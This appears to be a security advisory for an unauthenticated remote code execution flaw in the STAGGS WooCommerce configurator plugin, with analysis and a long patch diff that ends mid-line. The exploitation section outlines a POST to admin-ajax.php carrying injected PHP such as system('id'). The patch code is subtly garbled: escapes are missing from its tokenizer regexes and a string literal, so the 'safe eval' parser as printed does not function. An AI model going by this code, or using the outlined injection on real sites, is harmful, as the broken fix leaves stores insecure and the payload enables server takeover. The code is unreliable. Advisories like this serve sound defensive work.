Opens in a new tab
Published : November 16, 2026

CVE-2026-78287: STAGGS – Product Configurator Toolkit <= 3.3.0 Unauthenticated Remote Code Execution PoC, Patch Analysis & Rule

Plugin staggs
Severity Critical (CVSS 9.8)
CWE 94
Vulnerable Version 3.3.0
Patched Version 3.4.0
Disclosed November 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-78287: STAGGS Product Configurator Toolkit versions up to and including 3.3.0 contain an unauthenticated Remote Code Execution vulnerability. The flaw is in the price formula evaluation logic, which passes user-supplied formula strings directly into PHP’s eval() function without adequate validation. With a CVSS score of 9.8, this is a critical severity issue affecting a widely deployed WooCommerce product configurator plugin.

The root cause is the use of eval() in staggs/includes/staggs-functions.php. Specifically, functions around lines 1977, 1987, 2017, and 2056 construct PHP code strings using user-controlled values from POST parameters (e.g., $post_value, $unit_price, $filled_formula, $price_formula) and pass them to eval(). The vulnerable code paths run inside the plugin’s AJAX handler for calculating configurator prices. No authentication or nonce check gates these handlers, and the only filter is a weak regex that checks for alphabetic characters. Attackers can craft a formula containing arbitrary PHP code that survives the regex and executes on the server.

Exploitation is straightforward. An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with action set to one of the plugin’s price calculation actions (e.g., staggs_calculate_price or similar). The vulnerable parameter (such as a configurator field value or formula) contains PHP code like system(‘id’) or a base64-encoded payload. Because eval() executes the injected code, the attacker achieves remote code execution with the privileges of the web server user. No login, cookie, or nonce is required.

The patch replaces eval() with a custom Staggs_Safe_Eval class (class-staggs-safe-eval.php) that implements a strict parser for arithmetic and logical expressions. The parser tokenizes the input and only allows numbers, arithmetic operators, comparisons, and ternary expressions. Any unexpected token (e.g., function calls, variables, semicolons) causes the expression to return 0. This completely eliminates the ability to inject PHP code. Additionally, the patch hardens related code paths: it replaces is_plugin_active() with a safer wrapper, adds nonce and capability checks to admin actions, and improves sanitization on file operations.

Successful exploitation allows an unauthenticated attacker to execute arbitrary PHP code on the target server, leading to full site compromise, data theft (including customer data in WooCommerce), installation of backdoors, and potential lateral movement within the hosting environment. Given the plugin’s role in e-commerce, attackers could also manipulate pricing, intercept payment data, or deface the store. The vulnerability is trivially exploitable and requires no user interaction.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/staggs/admin/class-staggs-about.php
+++ b/staggs/admin/class-staggs-about.php
@@ -104,7 +104,7 @@
 							<div class="step-content">
 								<h3><?php esc_attr_e( 'Build your configurable product', 'staggs' ); ?></h3>
 								<p><?php esc_attr_e( 'The configurable products consists of the attributes, displayed in various ways using the attribute view templates.', 'staggs' ); ?></p>
-								<?php if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) : ?>
+								<?php if ( staggs_is_woocommerce_active() ) : ?>
 									<a href="<?php echo esc_url( admin_url( '/post-new.php?post_type=product' ) ); ?>"><?php esc_attr_e( 'Add a new configurable product', 'staggs' ); ?></a>
 								<?php else : ?>
 									<a href="<?php echo esc_url( admin_url( '/post-new.php?post_type=sgg_product' ) ); ?>"><?php esc_attr_e( 'Add a new configurable product', 'staggs' ); ?></a>
--- a/staggs/admin/class-staggs-acf-fields.php
+++ b/staggs/admin/class-staggs-acf-fields.php
@@ -53,7 +53,7 @@
 		require STAGGS_BASE . '/admin/fields/acf/theme.php';
 		require STAGGS_BASE . '/admin/fields/acf/block.php';

-		if ( ! is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+		if ( ! staggs_is_woocommerce_active() ) {
 			require STAGGS_BASE . '/admin/fields/acf/product.php';
 		}

--- a/staggs/admin/class-staggs-admin.php
+++ b/staggs/admin/class-staggs-admin.php
@@ -206,11 +206,12 @@
 	public function check_acf_pro_installation() {
 		// Decline button clicked.
 		if ( ! get_option( 'sgg_acf_pro_active' ) ) {
-			if ( isset( $_GET['action'] ) && $_GET['action'] === 'decline-acf' ) {
+			if ( isset( $_GET['action'] ) && 'decline-acf' === $_GET['action'] && current_user_can( 'manage_options' )
+				&& isset( $_GET['_wpnonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'staggs_acf_action' ) ) {
 				update_option( 'sgg_acf_pro_active', 'disabled' );
 			}

-			if ( isset( $_GET['migrate'] ) && 'success' === esc_attr( $_GET['migrate'] ) ) {
+			if ( isset( $_GET['migrate'] ) && 'success' === sanitize_text_field( wp_unslash( $_GET['migrate'] ) ) ) {
 				?>
 				<div class="notice notice-success is-dismissible">
 					<p><?php esc_attr_e( 'Migrate successful! Your Staggs admin fields now consist of ACF fields. Enjoy!', 'staggs' ); ?></p>
@@ -222,7 +223,7 @@
 				return;
 			}

-			if ( esc_attr( $_GET['post_type'] ) !== 'sgg_attribute' && esc_attr( $_GET['post_type'] ) !== 'sgg_theme' ) {
+			if ( sanitize_key( $_GET['post_type'] ) !== 'sgg_attribute' && sanitize_key( $_GET['post_type'] ) !== 'sgg_theme' ) {
 				return;
 			}

@@ -249,14 +250,15 @@
 							?>
 						</p>
 						<div class="notice-buttons">
-							<a href="<?php echo esc_url( admin_url( 'edit.php?post_type=sgg_attribute&page=dashboard&action=migrate-acf' ) ); ?>" class="button button-primary"><?php esc_attr_e( 'Migrate to ACF fields', 'staggs' ); ?></a>
-							<a href="<?php echo esc_url( admin_url( 'edit.php?post_type=sgg_attribute&page=dashboard&action=decline-acf' ) ); ?>" class="button"><?php esc_attr_e( 'No thanks', 'staggs' ); ?></a>
+							<a href="<?php echo esc_url( wp_nonce_url( admin_url( 'edit.php?post_type=sgg_attribute&page=dashboard&action=migrate-acf' ), 'staggs_acf_action' ) ); ?>" class="button button-primary"><?php esc_attr_e( 'Migrate to ACF fields', 'staggs' ); ?></a>
+							<a href="<?php echo esc_url( wp_nonce_url( admin_url( 'edit.php?post_type=sgg_attribute&page=dashboard&action=decline-acf' ), 'staggs_acf_action' ) ); ?>" class="button"><?php esc_attr_e( 'No thanks', 'staggs' ); ?></a>
 						</div>
 					</div>
 				</div>
 				<?php
 				// Migrate button clicked.
-				if ( isset( $_GET['action'] ) && $_GET['action'] === 'migrate-acf' ) {
+				if ( isset( $_GET['action'] ) && 'migrate-acf' === $_GET['action'] && current_user_can( 'manage_options' )
+					&& isset( $_GET['_wpnonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'staggs_acf_action' ) ) {
 					define( 'STAGGS_ACF', '1' );
 					define( 'STAGGS_RUN_MIGRATE', '1' );

@@ -354,7 +356,7 @@
 			)
 		);

-		if ( ! is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+		if ( ! staggs_is_woocommerce_active() ) {
 			$actions[] = array(
 				'url' => admin_url( 'edit.php?post_type=sgg_product' ),
 				'type' => 'sgg_product',
--- a/staggs/admin/class-staggs-analytics-table.php
+++ b/staggs/admin/class-staggs-analytics-table.php
@@ -83,7 +83,7 @@
 			array_multisort($keys, $sort, $product_rows);
 		}

-		set_transient( 'staggs_total_results', $product_rows );
+		set_transient( 'staggs_total_results', $product_rows, HOUR_IN_SECONDS );

 		// Pagination.
 		$offset = ($page_number - 1) * $per_page;
@@ -234,7 +234,7 @@
 					);
 				}

-				set_transient( 'staggs_analytics_order_' . $order->get_id(), $order_item_rows );
+				set_transient( 'staggs_analytics_order_' . $order->get_id(), $order_item_rows, DAY_IN_SECONDS );
 			}
 		endforeach;

--- a/staggs/admin/class-staggs-analytics.php
+++ b/staggs/admin/class-staggs-analytics.php
@@ -41,7 +41,7 @@
 	 * @since    1.3.4
 	 */
 	public function register_sub_menu() {
-		if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+		if ( staggs_is_woocommerce_active() ) {
 			$hook = add_submenu_page(
 				'edit.php?post_type=sgg_attribute',
 				__( 'Analytics', 'staggs' ),
@@ -250,7 +250,7 @@

 		if ( isset( $query ) && $query->is_main_query() ) {
 			if ( $query->is_admin && $pagenow == 'edit.php' && isset( $_GET['post_type'] ) && $_GET['post_type'] == 'shop_order' && isset( $_GET['order_ids'] ) && '' !== $_GET['order_ids'] ) {
-				$order_ids = esc_attr( explode( ',', $_GET['order_ids'] ) );
+				$order_ids = array_filter( array_map( 'absint', explode( ',', sanitize_text_field( wp_unslash( $_GET['order_ids'] ) ) ) ) );
 				$query->set( 'post__in', $order_ids );
 			}
 		}
--- a/staggs/admin/class-staggs-dashboard.php
+++ b/staggs/admin/class-staggs-dashboard.php
@@ -96,7 +96,7 @@
 							</a>
 						</div>
 						<div class="staggs-page-list-item">
-							<?php if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) : ?>
+							<?php if ( staggs_is_woocommerce_active() ) : ?>
 								<a href="<?php echo esc_url( admin_url( '/edit.php?post_type=product' ) ); ?>">
 									<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path d="M5 22h14a2 2 0 0 0 2-2V9a1 1 0 0 0-1-1h-3v-.777c0-2.609-1.903-4.945-4.5-5.198A5.005 5.005 0 0 0 7 7v1H4a1 1 0 0 0-1 1v11a2 2 0 0 0 2 2zm12-12v2h-2v-2h2zM9 7c0-1.654 1.346-3 3-3s3 1.346 3 3v1H9V7zm-2 3h2v2H7v-2z"></path></svg>
 									<?php esc_attr_e( 'Manage products', 'staggs' ); ?>
@@ -126,7 +126,7 @@
 								<?php esc_attr_e( 'Manage templates', 'staggs' ); ?>
 							</a>
 						</div>
-						<?php if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) : ?>
+						<?php if ( staggs_is_woocommerce_active() ) : ?>
 							<div class="staggs-page-list-item">
 								<a href="<?php echo esc_url( admin_url( '/edit.php?post_type=sgg_attribute&page=analytics' ) ); ?>">
 									<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm7.931 9H13V4.069A8.008 8.008 0 0 1 19.931 11zM4 12c0-4.072 3.061-7.436 7-7.931V12a.996.996 0 0 0 .111.438c.015.03.022.063.041.093l4.202 6.723A7.949 7.949 0 0 1 12 20c-4.411 0-8-3.589-8-8zm13.052 6.196L13.805 13h6.126a7.992 7.992 0 0 1-2.879 5.196z"></path></svg>
@@ -174,7 +174,7 @@
 								</div>
 							</div>
 						</div>
-						<?php if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) : ?>
+						<?php if ( staggs_is_woocommerce_active() ) : ?>
 							<div class="staggs-page-column">
 								<div class="staggs-page-article<?php echo esc_attr( $pro_class ); ?>">
 									<h3><?php esc_attr_e( 'WooCommerce linked options', 'staggs' ); ?><span><?php echo esc_attr( $pro_label ); ?></span></h3>
@@ -221,7 +221,7 @@
 					<p><?php esc_attr_e( 'Control the appearance of your configurators', 'staggs' ); ?></p>

 					<div class="staggs-page-row">
-						<?php if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) : ?>
+						<?php if ( staggs_is_woocommerce_active() ) : ?>
 							<div class="staggs-page-column">
 								<div class="staggs-page-article">
 									<h3><?php esc_attr_e( 'Configurator shortcode display', 'staggs' ); ?></h3>
--- a/staggs/admin/fields/acf/settings.php
+++ b/staggs/admin/fields/acf/settings.php
@@ -1782,7 +1782,7 @@
 	),
 );

-if ( ! is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+if ( ! staggs_is_woocommerce_active() ) {
 	array_merge(
 		$setting_fields,
 		array(
--- a/staggs/admin/fields/carbon/settings.php
+++ b/staggs/admin/fields/carbon/settings.php
@@ -21,7 +21,7 @@
 	Field::make( 'separator', 'sgg_setting_price_tab_label', __( 'Price settings', 'staggs' ) ),
 );

-if ( ! is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+if ( ! staggs_is_woocommerce_active() ) {
 	array_push( $price_fields,
 		Field::make( 'select', 'sgg_price_currency_pos', __( 'Currency position', 'staggs' ) )
 			->set_help_text( __( 'Select the position of the currency symbol', 'staggs' ) )
--- a/staggs/includes/class-staggs-attribute.php
+++ b/staggs/includes/class-staggs-attribute.php
@@ -611,12 +611,17 @@
 	{
 		global $wpdb;

-		$file_name   = esc_attr(basename($image_url));
+		$file_name   = sanitize_file_name(basename($image_url));
 		$wp_filetype = wp_check_filetype($file_name, null);
-		$image_name = str_replace( '.' . $wp_filetype['ext'], '', $file_name);
+		$image_name  = $wp_filetype['ext'] ? preg_replace( '/.' . preg_quote( $wp_filetype['ext'], '/' ) . '$/', '', $file_name ) : $file_name;

-		$query    = sprintf("SELECT `ID` FROM %s WHERE `post_type`='attachment' AND (`post_name`='%s' OR `guid`='%s')", $wpdb->posts, $image_name, $image_url);
-		$image_id = intval($wpdb->get_var($query));
+		$image_id = (int) $wpdb->get_var(
+			$wpdb->prepare(
+				"SELECT ID FROM {$wpdb->posts} WHERE post_type = 'attachment' AND ( post_name = %s OR guid = %s ) LIMIT 1",
+				$image_name,
+				$image_url
+			)
+		);
 		if (0 === (int) $image_id && $image_url) {
 			try {
 				$image_id = self::download_image( $image_url );
@@ -641,15 +646,35 @@
 		require_once ABSPATH . 'wp-admin/includes/image.php';
 		require_once ABSPATH . 'wp-admin/includes/file.php';

-		$filename    = basename($imageurl);
+		$imageurl = esc_url_raw( $imageurl, array( 'http', 'https' ) );
+		if ( ! $imageurl ) {
+			throw new Exception( 'Invalid image URL' );
+		}
+
+		// Only images may be imported.
+		$filename = sanitize_file_name( basename( wp_parse_url( $imageurl, PHP_URL_PATH ) ) );
+		$checked  = wp_check_filetype( $filename );
+		if ( ! $checked['ext'] || 0 !== strpos( (string) $checked['type'], 'image/' ) ) {
+			throw new Exception( 'Invalid image type' );
+		}
+
 		$uploaddir  = wp_upload_dir();
-		$uploadfile  = $uploaddir['path'] . '/' . $filename;
-
-		$data = wp_remote_get($imageurl);
+		$filename   = wp_unique_filename( $uploaddir['path'], $filename );
+		$uploadfile = $uploaddir['path'] . '/' . $filename;
+
+		// wp_safe_remote_get refuses requests to internal hosts (SSRF protection).
+		$data = wp_safe_remote_get( $imageurl, array( 'timeout' => 20, 'limit_response_size' => 20 * MB_IN_BYTES ) );
 		if ( is_wp_error( $data ) ) {
 			throw new Exception( esc_attr( $data->get_error_message() ) );
 		}
-		$contents = $data['body'];
+		$contents = wp_remote_retrieve_body( $data );
+
+		// The downloaded bytes must really be an image (SVG is not detected by getimagesize, check its markup instead).
+		$is_svg   = 'svg' === strtolower( (string) $checked['ext'] );
+		$is_image = $is_svg ? ( false !== stripos( $contents, '<svg' ) ) : (bool) @getimagesizefromstring( $contents );
+		if ( 200 !== (int) wp_remote_retrieve_response_code( $data ) || '' === $contents || ! $is_image ) {
+			throw new Exception( 'Downloaded file is not a valid image' );
+		}

 		if ( ! $wp_filesystem ) {
 			WP_Filesystem();
--- a/staggs/includes/class-staggs-cron.php
+++ b/staggs/includes/class-staggs-cron.php
@@ -32,7 +32,7 @@
 		}

 		if ( ! wp_next_scheduled( 'staggs_cleanup_garbage_files' ) ) {
-			wp_schedule_event( current_time( 'timestamp' ), 'hourly', 'staggs_cleanup_garbage_files');
+			wp_schedule_event( time(), 'hourly', 'staggs_cleanup_garbage_files');
 		}
 	}

@@ -56,6 +56,10 @@
 				if ('json' !== $fileInfo->getExtension()) {
 					continue; // Only remove saved configuration JSON files.
 				}
+
+				if (0 === strpos($fileInfo->getFilename(), 'keep-')) {
+					continue; // Permanent configurations (wishlist items, order PDF links).
+				}

 				if ($fileInfo->isFile() && time() - $fileInfo->getCTime() >= $timecheck) {
 					unlink($fileInfo->getRealPath());
--- a/staggs/includes/class-staggs-safe-eval.php
+++ b/staggs/includes/class-staggs-safe-eval.php
@@ -0,0 +1,281 @@
+<?php
+
+/**
+ * Safe evaluation of price formulas.
+ *
+ * Replaces eval() for formulas. Supports the PHP expression subset that formulas can
+ * contain once all keys are replaced by numbers: arithmetic (+ - * / % **), comparison,
+ * logical operators and the ternary operator, with PHP's own type semantics.
+ * Anything else (function calls, variables, statements, ...) evaluates to 0.
+ *
+ * @package    Staggs
+ * @subpackage Staggs/includes
+ * @since      3.3.0
+ */
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+if ( ! class_exists( 'Staggs_Safe_Eval' ) ) {
+
+	class Staggs_Safe_Eval {
+
+		private $tokens = array();
+		private $pos    = 0;
+		private $count  = 0;
+		private $depth  = 0;
+		private $skip   = 0; // > 0 while parsing a branch PHP would not evaluate (short-circuit / ternary).
+
+		/**
+		 * Evaluate an expression. Returns 0 for invalid expressions.
+		 *
+		 * @param string|int|float $expression Expression.
+		 * @return int|float
+		 */
+		public static function run( $expression ) {
+			if ( is_int( $expression ) || is_float( $expression ) ) {
+				return $expression;
+			}
+
+			$expression = preg_replace( '/s+/', '', (string) $expression );
+			if ( '' === $expression || strlen( $expression ) > 2000 ) {
+				return 0;
+			}
+
+			$matched = preg_match_all( '/d+.?d*|.d+|===|!==|==|!=|<=|>=|&&||||**|[-+*/%()<>!?:]/', $expression, $matches );
+			if ( ! $matched || implode( '', $matches[0] ) !== $expression ) {
+				return 0;
+			}
+
+			$parser         = new self();
+			$parser->tokens = $matches[0];
+			$parser->count  = count( $parser->tokens );
+
+			try {
+				$result = $parser->ternary();
+				if ( $parser->pos !== $parser->count ) {
+					return 0;
+				}
+			} catch ( Exception $e ) {
+				return 0;
+			}
+
+			if ( is_bool( $result ) ) {
+				return (int) $result;
+			}
+
+			return ( is_finite( $result ) ) ? $result : 0;
+		}
+
+		/**
+		 * Error in an expression. Fatal for the whole formula, except in a branch PHP would not
+		 * have evaluated anyway (then the value is irrelevant).
+		 */
+		private function fail() {
+			if ( $this->skip > 0 ) {
+				return 0;
+			}
+			throw new Exception( 'Invalid expression' );
+		}
+
+		private function peek() {
+			return $this->pos < $this->count ? $this->tokens[ $this->pos ] : null;
+		}
+
+		private function accept( $token ) {
+			if ( $this->peek() === $token ) {
+				$this->pos++;
+				return true;
+			}
+			return false;
+		}
+
+		private function ternary() {
+			$condition = $this->logical_or();
+
+			if ( $this->accept( '?' ) ) {
+				if ( $this->accept( ':' ) ) {
+					// Short ternary: a ?: b.
+					$this->skip += $condition ? 1 : 0;
+					$else        = $this->ternary();
+					$this->skip -= $condition ? 1 : 0;
+					return $condition ?: $else;
+				}
+				$this->skip += $condition ? 0 : 1;
+				$then        = $this->ternary();
+				$this->skip -= $condition ? 0 : 1;
+				if ( ! $this->accept( ':' ) ) {
+					throw new Exception( 'Expected :' );
+				}
+				$this->skip += $condition ? 1 : 0;
+				$else        = $this->ternary();
+				$this->skip -= $condition ? 1 : 0;
+				return $condition ? $then : $else;
+			}
+
+			return $condition;
+		}
+
+		private function logical_or() {
+			$value = $this->logical_and();
+			while ( $this->accept( '||' ) ) {
+				$this->skip += $value ? 1 : 0;
+				$rhs         = $this->logical_and();
+				$this->skip -= $value ? 1 : 0;
+				$value = ( $value || $rhs );
+			}
+			return $value;
+		}
+
+		private function logical_and() {
+			$value = $this->equality();
+			while ( $this->accept( '&&' ) ) {
+				$this->skip += $value ? 0 : 1;
+				$rhs         = $this->equality();
+				$this->skip -= $value ? 0 : 1;
+				$value = ( $value && $rhs );
+			}
+			return $value;
+		}
+
+		private function equality() {
+			$value = $this->comparison();
+			while ( in_array( $this->peek(), array( '==', '!=', '===', '!==' ), true ) ) {
+				$op  = $this->tokens[ $this->pos++ ];
+				$rhs = $this->comparison();
+				switch ( $op ) {
+					case '==':
+						$value = ( $value == $rhs );
+						break;
+					case '!=':
+						$value = ( $value != $rhs );
+						break;
+					case '===':
+						$value = ( $value === $rhs );
+						break;
+					default:
+						$value = ( $value !== $rhs );
+				}
+			}
+			return $value;
+		}
+
+		private function comparison() {
+			$value = $this->additive();
+			while ( in_array( $this->peek(), array( '<', '<=', '>', '>=' ), true ) ) {
+				$op  = $this->tokens[ $this->pos++ ];
+				$rhs = $this->additive();
+				switch ( $op ) {
+					case '<':
+						$value = ( $value < $rhs );
+						break;
+					case '<=':
+						$value = ( $value <= $rhs );
+						break;
+					case '>':
+						$value = ( $value > $rhs );
+						break;
+					default:
+						$value = ( $value >= $rhs );
+				}
+			}
+			return $value;
+		}
+
+		private function additive() {
+			$value = $this->multiplicative();
+			while ( in_array( $this->peek(), array( '+', '-' ), true ) ) {
+				$op    = $this->tokens[ $this->pos++ ];
+				$rhs   = $this->multiplicative();
+				$value = ( '+' === $op ) ? ( $value + $rhs ) : ( $value - $rhs );
+			}
+			return $value;
+		}
+
+		private function multiplicative() {
+			$value = $this->unary();
+			while ( in_array( $this->peek(), array( '*', '/', '%' ), true ) ) {
+				$op  = $this->tokens[ $this->pos++ ];
+				$rhs = $this->unary();
+				if ( '*' === $op ) {
+					$value = $value * $rhs;
+				} elseif ( '/' === $op ) {
+					if ( 0 == $rhs ) {
+						$value = $this->fail(); // Division by zero.
+						continue;
+					}
+					$value = $value / $rhs;
+				} else {
+					if ( 0 === (int) $rhs ) {
+						$value = $this->fail(); // Modulo by zero.
+						continue;
+					}
+					$value = (int) $value % (int) $rhs;
+				}
+			}
+			return $value;
+		}
+
+		private function unary() {
+			if ( $this->accept( '!' ) ) {
+				return ! $this->unary();
+			}
+			if ( $this->accept( '-' ) ) {
+				return -$this->unary();
+			}
+			if ( $this->accept( '+' ) ) {
+				return +$this->unary();
+			}
+			return $this->power();
+		}
+
+		private function power() {
+			$base = $this->primary();
+			if ( $this->accept( '**' ) ) {
+				$exponent = $this->unary(); // Right associative, binds tighter than unary on its left.
+				return @( $base ** $exponent ); // 0 ** -n gives INF (with a deprecation notice on newer PHP).
+			}
+			return $base;
+		}
+
+		private function primary() {
+			$token = $this->peek();
+			if ( null === $token ) {
+				throw new Exception( 'Unexpected end' );
+			}
+
+			if ( '(' === $token ) {
+				if ( ++$this->depth > 50 ) {
+					throw new Exception( 'Too deep' );
+				}
+				$this->pos++;
+				$value = $this->ternary();
+				if ( ! $this->accept( ')' ) ) {
+					throw new Exception( 'Expected )' );
+				}
+				$this->depth--;
+				return $value;
+			}
+
+			if ( is_numeric( $token ) ) {
+				$this->pos++;
+				return 0 + $token; // int or float, like PHP's own parser.
+			}
+
+			throw new Exception( 'Unexpected token' );
+		}
+	}
+}
+
+if ( ! function_exists( 'staggs_safe_eval' ) ) {
+	/**
+	 * Safely evaluate a price formula without using eval().
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string|int|float $expression Arithmetic expression.
+	 * @return int|float
+	 */
+	function staggs_safe_eval( $expression ) {
+		return Staggs_Safe_Eval::run( $expression );
+	}
+}
--- a/staggs/includes/class-staggs.php
+++ b/staggs/includes/class-staggs.php
@@ -304,7 +304,7 @@
 				$this->loader->add_action( 'carbon_fields_register_fields', $plugin_fields, 'sgg_appearance_page_options' );
 				$this->loader->add_action( 'carbon_fields_register_fields', $plugin_fields, 'sgg_init_product_configurator_options' );

-				if ( ! is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+				if ( ! staggs_is_woocommerce_active() ) {
 					$this->loader->add_action( 'carbon_fields_register_fields', $plugin_fields, 'sgg_product_fields' );
 				}
 			}
@@ -326,7 +326,7 @@
 		$this->loader->add_action( 'save_post_sgg_product', $plugin_attribute, 'clear_builder_transients' );
 		$this->loader->add_action( 'save_post_product', $plugin_attribute, 'clear_builder_transients' );

-		if ( ! is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+		if ( ! staggs_is_woocommerce_active() ) {

 			/**
 			 * Product configurator hooks.
@@ -496,6 +496,8 @@
 		$this->loader->add_filter( 'woocommerce_order_item_thumbnail', $plugin_cart, 'replace_product_image_in_order_emails', 20, 2 );

 		$this->loader->add_action( 'woocommerce_thankyou', $plugin_cart, 'delete_images_on_thankyou_page', 20, 1 );
+		$this->loader->add_action( 'woocommerce_checkout_order_processed', $plugin_cart, 'create_as_image_cleanup_action', 20, 1 );
+		$this->loader->add_action( 'sgg_delete_order_images', $plugin_cart, 'delete_order_images', 10, 1 );

 		$this->loader->add_action( 'woocommerce_checkout_create_order_line_item', $plugin_cart, 'staggs_save_order_meta', 20, 4 );
 		$this->loader->add_action( 'woocommerce_checkout_update_order_meta', $plugin_cart, 'staggs_update_order_meta', 20, 1 );
--- a/staggs/includes/staggs-functions.php
+++ b/staggs/includes/staggs-functions.php
@@ -12,6 +12,8 @@

 if ( ! defined( 'ABSPATH' ) ) exit;

+require_once __DIR__ . '/class-staggs-safe-eval.php';
+
 if ( ! function_exists( 'staggs_write_file' ) ) {
 	/**
 	 * Write contents to a file and enforce standard WordPress file permissions.
@@ -93,6 +95,76 @@
 	}
 }

+if ( ! function_exists( 'staggs_get_storage_dir' ) ) {
+	/**
+	 * Get (and prepare) the directory used to store configurator files.
+	 * Adds an empty index file so the directory can not be listed.
+	 *
+	 * @since 3.3.0
+	 */
+	function staggs_get_storage_dir() {
+		$upload_dir = wp_get_upload_dir();
+		$save_path  = apply_filters( 'staggs_image_save_dir', $upload_dir['basedir'] . '/staggs' );
+
+		if ( ! file_exists( $save_path ) ) {
+			staggs_mkdir( $save_path );
+		}
+
+		if ( is_dir( $save_path ) && is_writable( $save_path ) ) {
+			$index = trailingslashit( $save_path ) . 'index.php';
+			if ( ! file_exists( $index ) ) {
+				@file_put_contents( $index, "<?phpn// Silence is golden.n" );
+			}
+		}
+
+		return $save_path;
+	}
+}
+
+if ( ! function_exists( 'staggs_url_to_storage_path' ) ) {
+	/**
+	 * Convert a URL of a file inside the staggs storage folder to its absolute
+	 * path. Returns false when the URL does not point to an existing regular
+	 * file located directly inside the storage folder.
+	 *
+	 * @since 3.3.0
+	 */
+	function staggs_url_to_storage_path( $url ) {
+		if ( ! is_string( $url ) || '' === $url ) {
+			return false;
+		}
+
+		$url = strtok( $url, '?#' );
+		$dir = realpath( staggs_get_storage_dir() );
+		if ( ! $dir ) {
+			return false;
+		}
+
+		$name = wp_basename( rawurldecode( $url ) );
+		if ( '' === $name || '.' === $name[0] || false !== strpos( $name, "" ) ) {
+			return false;
+		}
+
+		$path = realpath( $dir . '/' . $name );
+		if ( ! $path || dirname( $path ) !== $dir || ! is_file( $path ) ) {
+			return false;
+		}
+
+		return $path;
+	}
+}
+
+if ( ! function_exists( 'staggs_sanitize_config_name' ) ) {
+	/**
+	 * Sanitize a configuration file name (letters, digits, dash and underscore only).
+	 *
+	 * @since 3.3.0
+	 */
+	function staggs_sanitize_config_name( $name ) {
+		return substr( preg_replace( '/[^A-Za-z0-9_-]/', '', (string) $name ), 0, 64 );
+	}
+}
+
 if ( ! function_exists( 'sgg__' ) ) {
 	function sgg__( $string ) {
 		if ( function_exists( 'pll__' ) ) {
@@ -104,7 +176,7 @@

 if ( ! function_exists( 'staggs_unserialize' ) ) {
 	function staggs_unserialize($data) {
-		return is_string($data) ? unserialize($data) : $data;
+		return is_string($data) ? @unserialize( $data, array( 'allowed_classes' => false ) ) : $data;
 	}
 }

@@ -291,7 +363,7 @@
 			return $template;
 		}
 		$template = sanitize_text_field( staggs_get_post_meta( $theme_id, 'sgg_configurator_page_template' ) );
-		set_transient( 'sgg_configurator_page_template_' . $theme_id, $template );
+		set_transient( 'sgg_configurator_page_template_' . $theme_id, $template, DAY_IN_SECONDS );
 		return $template;
 	}
 }
@@ -308,7 +380,7 @@
 			return $layout;
 		}
 		$view_layout = sanitize_text_field( staggs_get_post_meta( $theme_id, 'sgg_configurator_view' ) );
-		set_transient( 'sgg_configurator_view_layout_' . $theme_id, $view_layout );
+		set_transient( 'sgg_configurator_view_layout_' . $theme_id, $view_layout, DAY_IN_SECONDS );
 		return $view_layout;
 	}
 }
@@ -445,7 +517,7 @@
 				}
 			}

-			set_transient( $transient_name, serialize( $results_dictionary ) );
+			set_transient( $transient_name, serialize( $results_dictionary ), DAY_IN_SECONDS );

 		}

@@ -519,7 +591,7 @@
 				}
 			}

-			set_transient( $transient_name, serialize( $results_dictionary ) );
+			set_transient( $transient_name, serialize( $results_dictionary ), DAY_IN_SECONDS );
 		}

 		return $results_dictionary;
@@ -618,7 +690,7 @@
 				}
 			}

-			set_transient( $transient_name, serialize( $results_dictionary ) );
+			set_transient( $transient_name, serialize( $results_dictionary ), DAY_IN_SECONDS );
 		}

 		return $results_dictionary;
@@ -670,7 +742,7 @@
 					$formatted_item_labels[ urldecode( sanitize_title_with_dashes( $label ) ) ] = esc_attr( $label );
 				}

-				set_transient( $transient_name, serialize( $formatted_item_labels ) );
+				set_transient( $transient_name, serialize( $formatted_item_labels ), DAY_IN_SECONDS );
 			}

 			foreach ( $formatted_item_labels as $label_key => $label_value ) {
@@ -729,7 +801,7 @@
 					$formatted_item_labels[ urldecode( sanitize_title_with_dashes( $label ) ) ] = esc_attr( $label );
 				}

-				set_transient( $transient_name, serialize( $formatted_item_labels ) );
+				set_transient( $transient_name, serialize( $formatted_item_labels ), DAY_IN_SECONDS );
 			}

 			foreach ( $formatted_item_labels as $label_key => $label_value ) {
@@ -884,7 +956,7 @@
 				}
 			}

-			set_transient( $transient_name, $simple_products );
+			set_transient( $transient_name, $simple_products, DAY_IN_SECONDS );
 		}

 		return $simple_products;
@@ -938,7 +1010,7 @@
 				}
 			}

-			set_transient( $transient_name, $staggs_products );
+			set_transient( $transient_name, $staggs_products, DAY_IN_SECONDS );
 		}

 		return $staggs_products;
@@ -1445,7 +1517,7 @@

 		$image_ids = array();

-		if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+		if ( staggs_is_woocommerce_active() ) {
 			$post_thumbnail_id = $product->get_image_id();
 			if ( $post_thumbnail_id ) {
 				$image_ids[] = $post_thumbnail_id;
@@ -1905,8 +1977,8 @@
 								if ( $unit_price_base_min && isset( $post_option['min'] ) ) {
 									$post_value = $post_option['value'] - $post_option['min'];
 								}
-								$sub_eval    = 'return (' . $post_value . ' * ' . $unit_price . ');';
-								$addon_price = eval( $sub_eval );
+								$sub_eval    = (float) $post_value * (float) $unit_price;
